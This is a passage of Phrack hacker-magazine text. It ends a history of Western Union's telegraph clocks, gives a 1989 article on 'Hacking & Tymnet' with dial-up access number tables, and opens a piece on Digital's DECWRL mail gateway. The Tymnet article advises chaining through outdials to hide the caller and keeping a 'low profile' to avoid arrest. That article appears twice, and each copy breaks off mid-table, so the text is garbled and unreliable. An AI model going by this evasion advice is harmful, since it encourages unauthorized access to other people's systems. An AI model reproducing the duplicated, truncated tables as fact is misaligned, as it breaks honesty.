  12085. you had an account with Western Union, i.e. a Telex machine in your office, you
  12086. could charge the calls there, but most likely you would simply send the
  12087. telegram from there in the first place.
  12088.  
  12089. Sometime in the early 1960's, Western Union filed suit against AT&T asking that
  12090. they turn over their TWX business to them.  They cited an earlier court ruling,
  12091. circa 1950's, which said AT&T was prohibited from acquiring any more telephone
  12092. operating companies except under certain conditions.  The Supreme Court agreed
  12093. with Western Union that "spoken messages" were the domain of Ma Bell, but
  12094. "written messages" were the domain of Western Union.  So Bell was required to
  12095. divest itself of the TWX network, and Western Union has operated it since,
  12096. although a few years ago they began phasing out the phrase "TWX" in favor of
  12097. "Telex II"; their original device being "Telex I" of course.  TWX still uses
  12098. ten digit dialing with 610 (Canada) or 710/910 (USA) being the leading three
  12099. digits.  Apparently 410-510 have been abandoned; or at least they are used very
  12100. little, and Bellcore has assigned 510 to the San Francisco area starting in a
  12101. year or so.  410 still has some funny things on it, like the Western Union
  12102. "Infomaster," which is a computer that functions like a gateway between Telex,
  12103. TWX, EasyLink and some other stuff.
  12104.  
  12105. Today, the Western Union network is but a skeleton of its former self.  Now
  12106. most of their messages are handled on dial up terminals connected to the public
  12107. phone network.  It has been estimated the TWX/Telex business is about fifty
  12108. percent of what it was a decade ago, if that much.
  12109.  
  12110. Then there was the Time Service, a neat thing which Western Union offered for
  12111. over seventy years, until it was discontinued in the middle 1960's.  The Time
  12112. Service provided an important function in the days before alternating current
  12113. was commonly available.  For example, Chicago didn't have AC electricity until
  12114. about 1945.  Prior to that we used DC, or direct current.
  12115.  
  12116. Well, to run an electric clock, you need 60 cycles AC current for obvious
  12117. reasons, so prior to the conversion from DC power to AC power, electric wall
  12118. clocks such as you see in every office were unheard of.  How were people to
  12119. tell the time of day accurately?  Enter the Western Union clock.
  12120.  
  12121. The Western Union, or "telegraph clock" was a spring driven wind up clock, but
  12122. with a difference.  The clocks were "perpetually self-winding," manufactured by
  12123. the Self-Winding Clock Company of New York City.  They had large batteries
  12124. inside them, known as "telephone cells" which had a life of about ten years
  12125. each.  A mechanical contrivance in the clock would rotate as the clock spring
  12126. unwound, and once each hour would cause two metal clips to contact for about
  12127. ten seconds, which would pass juice to the little motor in the clock which in
  12128. turn re-wound the main spring.  The principle was the same as the battery
  12129. operated clocks we see today.  The battery does not actually run the clock --
  12130. direct current can't do that -- but it does power the tiny motor which re-winds
  12131. the spring which actually drives the clock.
  12132.  
  12133. The Western Union clocks came in various sizes and shapes, ranging from the
  12134. smallest dials which were nine inches in diameter to the largest which were
  12135. about eighteen inches in diameter.  Some had sweep second hands; others did
  12136. not.  Some had a little red light bulb on the front which would flash.  The
  12137. typical model was about sixteen inches, and was found in offices, schools,
  12138. transportation depots, radio station offices, and of course in the telegraph
  12139. office itself.
  12140.  
  12141. The one thing all the clocks had in common was their brown metal case and
  12142. cream-colored face, with the insignia "Western Union" and their corporate logo
  12143. in those days which was a bolt of electricity, sort of like a letter "Z" laying
  12144. on its side.  And in somewhat smaller print below, the words "Naval Observatory
  12145. Time."
  12146.  
  12147. The local clocks in an office or school or wherever were calibrated by a
  12148. "master clock" (actually a sub-master) on the premises.  Once an hour on the
  12149. hour, the (sub) master clock would drop a metal contact for just a half second,
  12150. and send about nine volts DC up the line to all the local clocks.  They in turn
  12151. had a "tolerance" of about two minutes on both sides of the hour so that the
  12152. current coming to them would yank the minute hand exactly upright onto the
  12153. twelve from either direction if the clock was fast or slow.
  12154.  
  12155. The sub-master clocks in each building were in turn serviced by the master
  12156. clock in town; usually this was the one in the telegraph office.  Every hour on
  12157. the half hour, the master clock in the telegraph office would throw current to
  12158. the sub-masters, yanking them into synch as required.  And as for the telegraph
  12159. offices themselves, they were serviced twice a day by -- you guessed it -- the
  12160. Naval Observatory Master clock in Our Nation's Capitol, by the same routine.
  12161. Someone there would press half a dozen buttons at the same time, using all
  12162. available fingers; current would flow to every telegraph office and synch all
  12163. the master clocks in every community.  Western Union charged fifty cents per
  12164. month for the service, and tossed the clock in for free!  Oh yes, there was an
  12165. installation charge of about two dollars when you first had service (i.e. a
  12166. clock) installed.
  12167.  
  12168. The clocks were installed and maintained by the "clockman," a technician from
  12169. Western Union who spent his day going around hanging new clocks, taking them
  12170. out of service, changing batteries every few years for each clock, etc.
  12171.  
  12172. What a panic it was for them when "war time" (what we now call Daylight Savings
  12173. Time) came around each year!  Wally, the guy who serviced all the clocks in
  12174. downtown Chicago had to start on *Thursday* before the Sunday official
  12175. changeover just to finish them all by *Tuesday* following.  He would literally
  12176. rush in an office, use his screwdriver to open the case, twirl the hour hand
  12177. around one hour forward in the spring, (or eleven hours *forward* in the fall
  12178. since the hands could not be moved backward beyond the twelve going
  12179. counterclockwise), slam the case back on, screw it in, and move down the hall
  12180. to the next clock and repeat the process.  He could finish several dozen clocks
  12181. per day, and usually the office assigned him a helper twice a year for these
  12182. events.
  12183.  
  12184. He said they never bothered to line the minute hand up just right, because it
  12185. would have taken too long, and ".....anyway, as long as we got it within a
  12186. minute or so, it would synch itself the next time the master clock sent a
  12187. signal..."  Working fast, it took a minute to a minute and a half to open the
  12188. case, twirl the minute hand, put the case back on, "stop and b.s. with the
  12189. receptionist for a couple seconds" and move along.
  12190.  
  12191. The master clock sent its signal over regular telco phone lines.  Usually it
  12192. would terminate in the main office of whatever place it was, and the (sub)
  12193. master there would take over at that point.
  12194.  
  12195. Wally said it was very important to do a professional job of hanging the clock
  12196. to begin with.  It had to be level, and the pendulum had to be just right,
  12197. otherwise the clock would gain or lose more time than could be accommodated in
  12198. the hourly synching process.  He said it was a very rare clock that actually
  12199. was out by even a minute once an hour, let alone the two minutes of tolerance
  12200. built into the gear works.
  12201.  
  12202.      "...Sometimes I would come to work on Monday morning, and find out
  12203.      in the office that the clock line had gone open Friday evening.  So
  12204.      nobody all weekend got a signal.  Usually I would go down a manhole
  12205.      and find it open someplace where one of the Bell guys messed it up,
  12206.      or took it off and never put it back on.  To find out where it was
  12207.      open, someone in the office would 'ring out' the line; I'd go around
  12208.      downtown following the loop as we had it laid out, and keep listening
  12209.      on my headset for it.  When I found the break or the open, I would
  12210.      tie it down again and the office would release the line; but then I
  12211.      had to go to all the clocks *before* that point and restart them,
  12212.      since the constant current from the office during the search had
  12213.      usually caused them to stop."
  12214.  
  12215. But he said, time and again, the clocks were usually so well mounted and hung
  12216. that "...it was rare we would find one so far out of synch that we had to
  12217. adjust it manually.  Usually the first signal to make it through once I
  12218. repaired the circuit would yank everyone in town to make up for whatever they
  12219. lost or gained over the weekend..."
  12220.  
  12221. In 1965, Western Union decided to discontinue the Time Service.  In a nostalgic
  12222. letter to subscribers, they announced their decision to suspend operations at
  12223. the end of the current month, but said "for old time's sake" anyone who had a
  12224. clock was welcome to keep it and continue using it; there just would not be any
  12225. setting signals from the master clocks any longer.
  12226.  
  12227. Within a day or two of the official announcement, every Western Union clock in
  12228. the Chicago area headquarters building was gone.  The executives snatched them
  12229. off the wall, and took them home for the day when they would have historical
  12230. value.  All the clocks in the telegraph offices disappeared about the same
  12231. time, to be replaced with standard office-style electric wall clocks.
  12232. _______________________________________________________________________________
  12233.  
  12234.  
  12235.  
  12236.                                 ==Phrack Inc.==
  12237.  
  12238.                      Volume Three, Issue 30, File #3 of 12
  12239.  
  12240.                [-][-] [-][-] [-][-] [-][-] [-][-] [-][-] [-][-]
  12241.                [-]                                          [-]
  12242.                [-]             Hacking & Tymnet             [-]
  12243.                [-]                                          [-]
  12244.                [-]                    by                    [-]
  12245.                [-]                                          [-]
  12246.                [-]                Synthecide                [-]
  12247.                [-]                                          [-]
  12248.                [-][-] [-][-] [-][-] [-][-] [-][-] [-][-] [-][-]
  12249.  
  12250.  
  12251. There are literally hundreds of systems connected to some of these larger
  12252. networks, like Tymnet and Telenet.  Navigation around these networks is very
  12253. simple, and usually well explained in their on-line documentation.
  12254. Furthermore, some systems will actually tell you what is connected and how to
  12255. get to it.  In the case of Tymnet, after dialing in, at the log in prompt, type
  12256. "information" for the on-line documentation.
  12257.  
  12258. Accessing systems through networks is as simple as providing an address for it
  12259. to connect to.  The best way to learn about the addresses and how to do things
  12260. on a network is to read "A Novice's Guide to Hacking (1989 Edition)" which was
  12261. in Issue 22, File 4 of 12, Volume Two (December 23, 1988).  Some points are
  12262. re-iterated here.
  12263.  
  12264. Once on a network, you provide the NUA (network user address) of the system you
  12265. wish to connect to.  NUAs are strings of 15 digits, broken up in to 3 fields,
  12266. the NETWORK ADDRESS, the AREA PREFIX, and the DNIC.  Each field has 5 digits,
  12267. and are left padded with 0's where necessary.
  12268.  
  12269. The DNIC determines which network to take the address from.  Tymnet, for
  12270. example, is 03106. 03110 is Telenet.
  12271.  
  12272. The AREA PREFIX and NETWORK ADDRESS determine the connection point.  By
  12273. providing the address of the system that you wish to connect to, you will be
  12274. accessing it through the net... as if you were calling it directly.  Obviously,
  12275. then, this provides one more level of security for access.
  12276.  
  12277. By connecting to an outdial, you can increase again the level of security you
  12278. enjoy, by using the outdial in that area to connect to the remote system.
  12279.  
  12280. Addendum -- Accessing Tymnet Over Local Packet Networks
  12281.  
  12282. This is just another way to get that extra step and/or bypass other routes.
  12283. This table is copied from Tymnet's on-line information.  As said earlier, it's
  12284. a great resource, this on-line information!
  12285.  
  12286.                                  BELL ATLANTIC
  12287.  
  12288.   NODE    CITY                  STATE           SPEED    ACCESS NUMBER  NTWK
  12289.   ----   -------------------    --------------  ------   ------------   ----
  12290.   03526   DOVER                 DELAWARE        300/2400 302/734-9465   @PDN
  12291.   03526   GEORGETOWN            DELAWARE        300/2400 302/856-7055   @PDN
  12292.   03526   NEWARK                DELAWARE        300/2400 302/366-0800   @PDN
  12293.   03526   WILMINGTON            DELAWARE        300/1200 302/428-0030   @PDN
  12294.   03526   WILMINGTON            DELAWARE        2400     302/655-1144   @PDN
  12295.  
  12296.  
  12297.   06254   WASHINGTON            DIST. OF COL.   300/1200 202/479-7214   @PDN
  12298.   06254   WASHINGTON (MIDTOWN)  DIST. OF COL.   2400     202/785-1688   @PDN
  12299.   06254   WASHINGTON (DOWNTOWN) DIST. OF COL.   300/1200 202/393-6003   @PDN
  12300.   06254   WASHINGTON (MIDTOWN)  DIST. OF COL.   300/1200 202/293-4641   @PDN
  12301.   06254   WASHINGTON            DIST. OF COL.   300/1200 202/546-5549   @PDN
  12302.   06254   WASHINGTON            DIST. OF COL.   300/1200 202/328-0619   @PDN
  12303.  
  12304.   06254   BETHESDA              MARYLAND        300/1200  301/986-9942  @PDN
  12305.   06254   COLESVILLE            MARYLAND        300/2400  301/989-9324  @PDN
  12306.   06254   HYATTSVILLE           MARYLAND        300/1200  301/779-9935  @PDN
  12307.   06254   LAUREL                MARYLAND        300/2400  301/490-9971  @PDN
  12308.   06254   ROCKVILLE             MARYLAND        300/1200  301/340-9903  @PDN
  12309.   06254   SILVER SPRING         MARYLAND        300/1200  301/495-9911  @PDN
  12310.  
  12311.  
  12312.   07771   BERNARDSVILLE         NEW JERSEY      300/2400 201/766-7138   @PDN
  12313.   07771   CLINTON               NEW JERSEY      300-1200 201/730-8693   @PDN
  12314.   07771   DOVER                 NEW JERSEY      300/2400 201/361-9211   @PDN
  12315.   07771   EATONTOWN/RED BANK    NEW JERSEY      300/2400 201/758-8000   @PDN
  12316.   07771   ELIZABETH             NEW JERSEY      300/2400 201/289-5100   @PDN
  12317.   07771   ENGLEWOOD             NEW JERSEY      300/2400 201/871-3000   @PDN
  12318.   07771   FREEHOLD              NEW JERSEY      300/2400 201/780-8890   @PDN
  12319.   07771   HACKENSACK            NEW JERSEY      300/2400 201/343-9200   @PDN
  12320.   07771   JERSEY CITY           NEW JERSEY      300/2400 201/659-3800   @PDN
  12321.   07771   LIVINGSTON            NEW JERSEY      300/2400 201/533-0561   @PDN
  12322.   07771   LONG BRANCH/RED BANK  NEW JERSEY      300/2400 201/758-8000   @PDN
  12323.   07771   MADISON               NEW JERSEY      300/2400 201/593-0004   @PDN
  12324.   07771   METUCHEN              NEW JERSEY      300/2400 201/906-9500   @PDN
  12325.   07771   MIDDLETOWN            NEW JERSEY      300/2400 201/957-9000   @PDN
  12326.   07771   MORRISTOWN            NEW JERSEY      300/2400 201/455-0437   @PDN
  12327.   07771   NEWARK                NEW JERSEY      300/2400 201/623-0083   @PDN
  12328.   07771   NEW BRUNSWICK         NEW JERSEY      300/2400 201/247-2700   @PDN
  12329.   07771   NEW FOUNDLAND         NEW JERSEY      300/2400 201/697-9380   @PDN
  12330.   07771   PASSAIC               NEW JERSEY      300/2400 201/473-6200   @PDN
  12331.   07771   PATERSON              NEW JERSEY      300/2400 201/345-7700   @PDN
  12332.   07771   PHILLIPSBURG          NEW JERSEY      300/2400 201/454-9270   @PDN
  12333.   07771   POMPTON LAKES         NEW JERSEY      300/2400 201/835-8400   @PDN
  12334.   07771   RED BANK              NEW JERSEY      300/2400 201/758-8000   @PDN
  12335.   07771   RIDGEWOOD             NEW JERSEY      300/2400 201/445-4800   @PDN
  12336.   07771   SOMERVILLE            NEW JERSEY      300/2400 201/218-1200   @PDN
  12337.   07771   SOUTH RIVER           NEW JERSEY      300/2400 201/390-9100   @PDN
  12338.   07771   SPRING LAKE           NEW JERSEY      300/2400 201/974-0850   @PDN
  12339.   07771   TOMS RIVER            NEW JERSEY      300/2400 201/286-3800   @PDN
  12340.   07771   WASHINGTON            NEW JERSEY      300/2400 201/689-6894   @PDN
  12341.   07771   WAYNE/PATERSON        NEW JERSEY      300/2400 201/345-7700   @PDN
  12342.  
  12343.  
  12344.   03526   ALLENTOWN             PENNSYLVANIA    300/1200 215/435-0266   @PDN
  12345.   11301   ALTOONA               PENNSYLVANIA    300/1200 814/946-8639   @PDN
  12346.   11301   ALTOONA               PENNSYLVANIA    2400     814/949-0505   @PDN
  12347.   03526   AMBLER                PENNSYLVANIA    300/1200 215/283-2170   @PDN
  12348.   10672   AMBRIDGE              PENNSYLVANIA    300/1200 412/266-9610   @PDN
  12349.   10672   CARNEGIE              PENNSYLVANIA    300/1200 412/276-1882   @PDN
  12350.   10672   CHARLEROI             PENNSYLVANIA    300/1200 412/483-9100   @PDN
  12351.   03526   CHESTER HEIGHTS       PENNSYLVANIA    300/1200 215/358-0820   @PDN
  12352.   03526   COATESVILLE           PENNSYLVANIA    300/1200 215/383-7212   @PDN
  12353.   10672   CONNELLSVILLE         PENNSYLVANIA    300/1200 412/628-7560   @PDN
  12354.   03526   DOWNINGTON/COATES.    PENNSYLVANIA    300/1200 215/383-7212   @PDN
  12355.   03562   DOYLESTOWN            PENNSYLVANIA    300/1200 215/340-0052   @PDN
  12356.   03562   GERMANTOWN            PENNSYLVANIA    300/1200 215-843-4075   @PDN
  12357.   10672   GLENSHAW              PENNSYLVANIA    300/1200 412/487-6868   @PDN
  12358.   10672   GREENSBURG            PENNSYLVANIA    300/1200 412/836-7840   @PDN
  12359.   11301   HARRISBURG            PENNSYLVANIA    300/1200 717/236-3274   @PDN
  12360.   11301   HARRISBURG            PENNSYLVANIA    2400     717/238-0450   @PDN
  12361.   10672   INDIANA               PENNSYLVANIA    300/1200 412/465-7210   @PDN
  12362.   03526   KING OF PRUSSIA       PENNSYLVANIA    300/1200 215/270-2970   @PDN
  12363.   03526   KIRKLYN               PENNSYLVANIA    300/1200 215/789-5650   @PDN
  12364.   03526   LANSDOWNE             PENNSYLVANIA    300/1200 215/626-9001   @PDN
  12365.   10672   LATROBE               PENNSYLVANIA    300/1200 412/537-0340   @PDN
  12366.   11301   LEMOYNE/HARRISBURG    PENNSYLVANIA    300/1200 717/236-3274   @PDN
  12367.   10672   MCKEESPORT            PENNSYLVANIA    300/1200 412/673-6200   @PDN
  12368.   10672   NEW CASTLE            PENNSYLVANIA    300/1200 412/658-5982   @PDN
  12369.   10672   NEW KENSINGTON        PENNSYLVANIA    300/1200 412/337-0510   @PDN
  12370.   03526   NORRISTOWN            PENNSYLVANIA    300/1200 215/270-2970   @PDN
  12371.   03526   PAOLI                 PENNSYLVANIA    300/1200 215/648-0010   @PDN
  12372.   03562   PHILADELPHIA          PENNSYLVANIA    300/1200 215/923-7792   @PDN
  12373.   03562   PHILADELPHIA          PENNSYLVANIA    300/1200 215/557-0659   @PDN
  12374.   03562   PHILADELPHIA          PENNSYLVANIA    300/1200 215/545-7886   @PDN
  12375.   03562   PHILADELPHIA          PENNSYLVANIA    300/1200 215/677-0321   @PDN
  12376.   03562   PHILADELPHIA          PENNSYLVANIA    2400     215/625-0770   @PDN
  12377.   10672   PITTSBURGH            PENNSYLVANIA    300/1200 412/281-8950   @PDN
  12378.   10672   PITTSBURGH            PENNSYLVANIA    300/1200 412-687-4131   @PDN
  12379.   10672   PITTSBURGH            PENNSYLVANIA    2400     412/261-9732   @PDN
  12380.   10672   POTTSTOWN             PENNSYLVANIA    300/1200 215/327-8032   @PDN
  12381.   03526   QUAKERTOWN            PENNSYLVANIA    300/1200 215/538-7032   @PDN
  12382.   03526   READING               PENNSYLVANIA    300/1200 215/375-7570   @PDN
  12383.   10672   ROCHESTER             PENNSYLVANIA    300/1200 412/728-9770   @PDN
  12384.   03526   SCRANTON              PENNSYLVANIA    300/1200 717/348-1123   @PDN
  12385.   03526   SCRANTON              PENNSYLVANIA    2400     717/341-1860   @PDN
  12386.   10672   SHARON                PENNSYLVANIA    300/1200 412/342-1681   @PDN
  12387.   03526   TULLYTOWN             PENNSYLVANIA    300/1200 215/547-3300   @PDN
  12388.   10672   UNIONTOWN             PENNSYLVANIA    300/1200 412/437-5640   @PDN
  12389.   03562   VALLEY FORGE          PENNSYLVANIA    300/1200 215/270-2970   @PDN
  12390.   10672   WASHINGTON            PENNSYLVANIA    300/1200 412/223-9090   @PDN
  12391.   03526   WAYNE                 PENNSYLVANIA    300/1200 215/341-9605   @PDN
  12392.   10672   WILKINSBURG           PENNSYLVANIA    300/1200 412/241-1006   @PDN
  12393.  
  12394.  
  12395.   06254   ALEXANDRIA            VIRGINIA        300/1200  703/683-6710  @PDN
  12396.   06254   ARLINGTON             VIRGINIA        300/1200  703/524-8961  @PDN
  12397.   06254   FAIRFAX               VIRGINIA        300/1200  703/385-1343  @PDN
  12398.   06254   MCLEAN                VIRGINIA        300/1200  703/848-2941  @PDN
  12399.  
  12400.  
  12401.     @PDN BELL ATLANTIC - NETWORK NAME IS PUBLIC DATA NETWORK (PDN)
  12402.  
  12403.  
  12404.              (CONNECT MESSAGE)
  12405.              . _. _. _< _C _R _> _            (SYNCHRONIZES DATA SPEEDS)
  12406.  
  12407.              WELCOME TO THE BPA/DST PDN
  12408.  
  12409.              *. _T _  _< _C _R _> _           (TYMNET ADDRESS)
  12410.  
  12411.  
  12412.              131069             (ADDRESS CONFIRMATION - TYMNET DNIC)
  12413.              COM                (CONFIRMATION OF CALL SET-UP)
  12414.  
  12415.              -GWY 0XXXX- TYMNET: PLEASE LOG IN:  (HOST # WITHIN DASHES)
  12416.  
  12417.  
  12418.                                   BELL SOUTH
  12419.  
  12420.   NODE    CITY                  STATE           DENSITY  ACCESS NUMBER MODEM
  12421.   -----   --------------------  --------------  ------   ------------  -----
  12422.   10207   ATLANTA               GEORGIA         300/1200 404/261-4633  @PLSK
  12423.   10207   ATHENS                GEORGIA         300/1200 404/354-0614  @PLSK
  12424.   10207   COLUMBUS              GEORGIA         300/1200 404/324-5771  @PLSK
  12425.   10207   ROME                  GEORGIA         300/1200 404/234/7542  @PLSK
  12426.  
  12427.  
  12428.     @PLSK  BELLSOUTH - NETWORK NAME IS PULSELINK
  12429.  
  12430.  
  12431.              (CONNECT MESSAGE)
  12432.  
  12433.              . _. _. _  _< _C _R _> _           (SYNCHRONIZES DATA SPEEDS)
  12434.                                 (DOES NOT ECHO TO THE TERMINAL)
  12435.              CONNECTED
  12436.              PULSELINK
  12437.  
  12438.              1 _3 _1 _0 _6 _              (TYMNET ADDRESS)
  12439.                                 (DOES NOT ECHO TO THE TERMINAL)
  12440.  
  12441.              PULSELINK: CALL CONNECTED TO 1 3106
  12442.  
  12443.              -GWY 0XXXX- TYMNET: PLEASE LOG IN:  (HOST # WITHIN DASHES)
  12444.  
  12445.  
  12446.                                  PACIFIC BELL
  12447.  
  12448.   NODE    CITY                  STATE           DENSITY  ACCESS NUMBER  NTWK
  12449.   -----   -------------------   --------------  ------   ------------   ----
  12450.   03306   BERKELEY              CALIFORNIA      300/1200 415-548-2121   @PPS
  12451.   06272   EL SEGUNDO            CALIFORNIA      300/1200 213-640-8548   @PPS
  12452.   06272   FULLERTON             CALIFORNIA      300/1200 714-441-2777   @PPS
  12453.   06272   INGLEWOOD             CALIFORNIA      300/1200 213-216-7667   @PPS
  12454.   06272   LOS ANGELES(DOWNTOWN) CALIFORNIA      300/1200 213-687-3727   @PPS
  12455.   06272   LOS ANGELES           CALIFORNIA      300/1200 213-480-1677   @PPS
  12456.   03306   MOUNTAIN VIEW         CALIFORNIA      300/1200 415-960-3363   @PPS
  12457.   03306   OAKLAND               CALIFORNIA      300/1200 415-893-9889   @PPS
  12458.   03306   PALO ALTO             CALIFORNIA      300/1200 415-325-4666   @PPS
  12459.   06272   PASADENA              CALIFORNIA      300/1200 818-356-0780   @PPS
  12460.   03306   SAN FRANCISCO         CALIFORNIA      300/1200 415-543-8275   @PPS
  12461.   03306   SAN FRANCISCO         CALIFORNIA      300/1200 415-626-5380   @PPS
  12462.   03306   SAN FRANCISCO         CALIFORNIA      300/1200 415-362-2280   @PPS
  12463.   03306   SAN JOSE              CALIFORNIA      300/1200 408-920-0888   @PPS
  12464.   06272   SANTA ANNA            CALIFORNIA      300/1200 714-972-9844   @PPS
  12465.   06272   VAN NUYS              CALIFORNIA      300/1200 818-780-1066   @PPS
  12466.  
  12467.  
  12468.     @PPS   PACIFIC BELL - NETWORK NAME IS PUBLIC PACKET SWITCHING (PPS)
  12469.  
  12470.              (CONNECT MESSAGE)
  12471.  
  12472.              . _. _. _< _C _R _             (SYNCHRONIZES DATA SPEEDS)>
  12473.                                 (DOES NOT ECHO TO THE TERMINAL)
  12474.  
  12475.              ONLINE 1200
  12476.              WELCOME TO PPS:  415-XXX-XXXX
  12477.              1 _3 _1 _0 _6 _9 _             (TYMNET ADDRESS)
  12478.                                 (DOES NOT ECHO UNTIL TYMNET RESPONDS)
  12479.  
  12480.          -GWY 0XXXX- TYMNET: PLEASE LOG IN:  (HOST # WITHIN DASHES)
  12481.  
  12482.                                SOUTHWESTERN BELL
  12483.  
  12484.   NODE    CITY                  STATE           DENSITY  ACCESS NUMBERS NWRK
  12485.   -----   --------------------  --------------  -------  ------------   -----
  12486.   05443   KANSAS CITY           KANSAS          300/1200 316/225-9951   @MRLK
  12487.   05443   HAYS                  KANSAS          300/1200 913/625-8100   @MRLK
  12488.   05443   HUTCHINSON            KANSAS          300/1200 316/669-1052   @MRLK
  12489.   05443   LAWRENCE              KANSAS          300/1200 913/841-5580   @MRLK
  12490.   05443   MANHATTAN             KANSAS          300/1200 913/539-9291   @MRLK
  12491.   05443   PARSONS               KANSAS          300/1200 316/421-0620   @MRLK
  12492.   05443   SALINA                KANSAS          300/1200 913/825-4547   @MRLK
  12493.   05443   TOPEKA                KANSAS          300/1200 913/235-1909   @MRLK
  12494.   05443   WICHITA               KANSAS          300/1200 316/269-1996   @MRLK
  12495.  
  12496.  
  12497.   04766   BRIDGETON/ST. LOUIS   MISSOURI        300/1200 314/622-0900   @MRLK
  12498.   04766   ST. LOUIS             MISSOURI        300/1200 314/622-0900   @MRLK
  12499.  
  12500.  
  12501.   06510   ADA                   OKLAHOMA        300/1200 405/4
  12502.  
  12503.  
  12504. On a side note, the recent book The Cuckoo's Egg provides some interesting
  12505. information (in the form of a story, however) on a Tymnet hacker.  Remember
  12506. that he was into BIG things, and hence he was cracked down upon.  If you keep a
  12507. low profile, networks should provide a good access method.
  12508.  
  12509. If you can find a system that is connected to the Internet that you can get on
  12510. from Tymnet, you are doing well.
  12511. _______________________________________________________________________________
  12512.  
  12513.  
  12514.  
  12515.                                 ==Phrack Inc.==
  12516.  
  12517.                      Volume Three, Issue 30, File #3 of 12
  12518.  
  12519.                [-][-] [-][-] [-][-] [-][-] [-][-] [-][-] [-][-]
  12520.                [-]                                          [-]
  12521.                [-]             Hacking & Tymnet             [-]
  12522.                [-]                                          [-]
  12523.                [-]                    by                    [-]
  12524.                [-]                                          [-]
  12525.                [-]                Synthecide                [-]
  12526.                [-]                                          [-]
  12527.                [-][-] [-][-] [-][-] [-][-] [-][-] [-][-] [-][-]
  12528.  
  12529.  
  12530. There are literally hundreds of systems connected to some of these larger
  12531. networks, like Tymnet and Telenet.  Navigation around these networks is very
  12532. simple, and usually well explained in their on-line documentation.
  12533. Furthermore, some systems will actually tell you what is connected and how to
  12534. get to it.  In the case of Tymnet, after dialing in, at the log in prompt, type
  12535. "information" for the on-line documentation.
  12536.  
  12537. Accessing systems through networks is as simple as providing an address for it
  12538. to connect to.  The best way to learn about the addresses and how to do things
  12539. on a network is to read "A Novice's Guide to Hacking (1989 Edition)" which was
  12540. in Issue 22, File 4 of 12, Volume Two (December 23, 1988).  Some points are
  12541. re-iterated here.
  12542.  
  12543. Once on a network, you provide the NUA (network user address) of the system you
  12544. wish to connect to.  NUAs are strings of 15 digits, broken up in to 3 fields,
  12545. the NETWORK ADDRESS, the AREA PREFIX, and the DNIC.  Each field has 5 digits,
  12546. and are left padded with 0's where necessary.
  12547.  
  12548. The DNIC determines which network to take the address from.  Tymnet, for
  12549. example, is 03106. 03110 is Telenet.
  12550.  
  12551. The AREA PREFIX and NETWORK ADDRESS determine the connection point.  By
  12552. providing the address of the system that you wish to connect to, you will be
  12553. accessing it through the net... as if you were calling it directly.  Obviously,
  12554. then, this provides one more level of security for access.
  12555.  
  12556. By connecting to an outdial, you can increase again the level of security you
  12557. enjoy, by using the outdial in that area to connect to the remote system.
  12558.  
  12559. Addendum -- Accessing Tymnet Over Local Packet Networks
  12560.  
  12561. This is just another way to get that extra step and/or bypass other routes.
  12562. This table is copied from Tymnet's on-line information.  As said earlier, it's
  12563. a great resource, this on-line information!
  12564.  
  12565.                                  BELL ATLANTIC
  12566.  
  12567.   NODE    CITY                  STATE           SPEED    ACCESS NUMBER  NTWK
  12568.   ----   -------------------    --------------  ------   ------------   ----
  12569.   03526   DOVER                 DELAWARE        300/2400 302/734-9465   @PDN
  12570.   03526   GEORGETOWN            DELAWARE        300/2400 302/856-7055   @PDN
  12571.   03526   NEWARK                DELAWARE        300/2400 302/366-0800   @PDN
  12572.   03526   WILMINGTON            DELAWARE        300/1200 302/428-0030   @PDN
  12573.   03526   WILMINGTON            DELAWARE        2400     302/655-1144   @PDN
  12574.  
  12575.  
  12576.   06254   WASHINGTON            DIST. OF COL.   300/1200 202/479-7214   @PDN
  12577.   06254   WASHINGTON (MIDTOWN)  DIST. OF COL.   2400     202/785-1688   @PDN
  12578.   06254   WASHINGTON (DOWNTOWN) DIST. OF COL.   300/1200 202/393-6003   @PDN
  12579.   06254   WASHINGTON (MIDTOWN)  DIST. OF COL.   300/1200 202/293-4641   @PDN
  12580.  
  12581.                                 ==Phrack Inc.==
  12582.  
  12583.                      Volume Three, Issue 30, File #5 of 12
  12584.  
  12585.                     ()()()()()()()()()()()()()()()()()()()
  12586.                     ()                                  ()
  12587.                     ()      The DECWRL Mail Gateway     ()
  12588.                     ()                                  ()
  12589.                     ()         by Dedicated Link        ()
  12590.                     ()                                  ()
  12591.                     ()        September 20, 1989        ()
  12592.                     ()                                  ()
  12593.                     ()()()()()()()()()()()()()()()()()()()
  12594.  
  12595.  
  12596. INTRODUCTION
  12597.  
  12598. DECWRL is a mail gateway computer operated by Digital's Western Research
  12599. Laboratory in Palo Alto, California.  Its purpose is to support the interchange
  12600. of electronic mail between Digital and the "outside world."
  12601.  
  12602. DECWRL is connected to Digital's Easynet, and also to a number of different
  12603. outside electronic mail networks.  Digital users can send outside mail by
  12604. sending to DECWRL::"outside-address", and digital users can also receive mail
  12605. by having your correspondents route it through DECWRL.  The details of incoming
  12606. mail are more complex, and are discussed below.
  12607.  
  12608. It is vitally important that Digital employees be good citizens of the networks
  12609. to which we are connected.  They depend on the integrity of our user community
  12610. to ensure that tighter controls over the use of the gateway are not required.
  12611. The most important rule is "no chain letters," but there are other rules
  12612. depending on whether the connected network that you are using is commercial or
  12613. non-commercial.
  12614.  
  12615. The current traffic volume (September 1989) is about 10,000 mail messages per
  12616. day and about 3,000 USENET messages per day.  Gatewayed mail traffic has
  12617. doubled every year since 1983.  DECWRL is currently a Vax 8530 computer with 48
  12618. megabytes of main memory, 2500 megabytes of disk space, 8 9600-baud (Telebit)
  12619. modem ports, and various network connections.  They will shortly be upgrading
  12620. to a Vax 8650 system.  They run Ultrix 3.0 as the base operating system.
  12621.  
  12622.  
  12623. ADMINISTRATION
  12624.  
  12625. The gateway has engineering staff, but no administrative or clerical staff.
  12626. They work hard to keep it running, but they do not have the resources to answer
  12627. telephone queries or provide tutorials in its use.
  12628.  
  12629. They post periodic status reports to the USENET newsgroup dec.general.  Various
  12630. helpful people usually copy these reports to the VAXNOTES "gateways" conference
  12631. within a day or two.
  12632.  
  12633.  
  12634. HOW TO SEND MAIL
  12635.  
  12636. DECWRL is connected to quite a number of different mail networks.  If you were
  12637. logged on directly to it, you could type addresses directly, e.g.
  12638.  
  12639.     To: strange!foreign!address.
  12640.  
  12641. But since you are not logged on directly to the gateway, you must send mail so
  12642. that when it arrives at the gateway, it will be sent as if that address had
  12643. been typed locally.
  12644.  
  12645.  
  12646. * Sending from VMS
  12647.  
  12648. If you are a VMS user, you should use NMAIL, because VMS mail does not know how
  12649. to requeue and retry mail when the network is congested or disconnected.  From
  12650. VMS, address your mail like this:
  12651.  
  12652.     To: nm%DECWRL::"strange!foreign!address"
  12653.  
  12654. The quote characters (") are important, to make sure that VMS doesn't try to
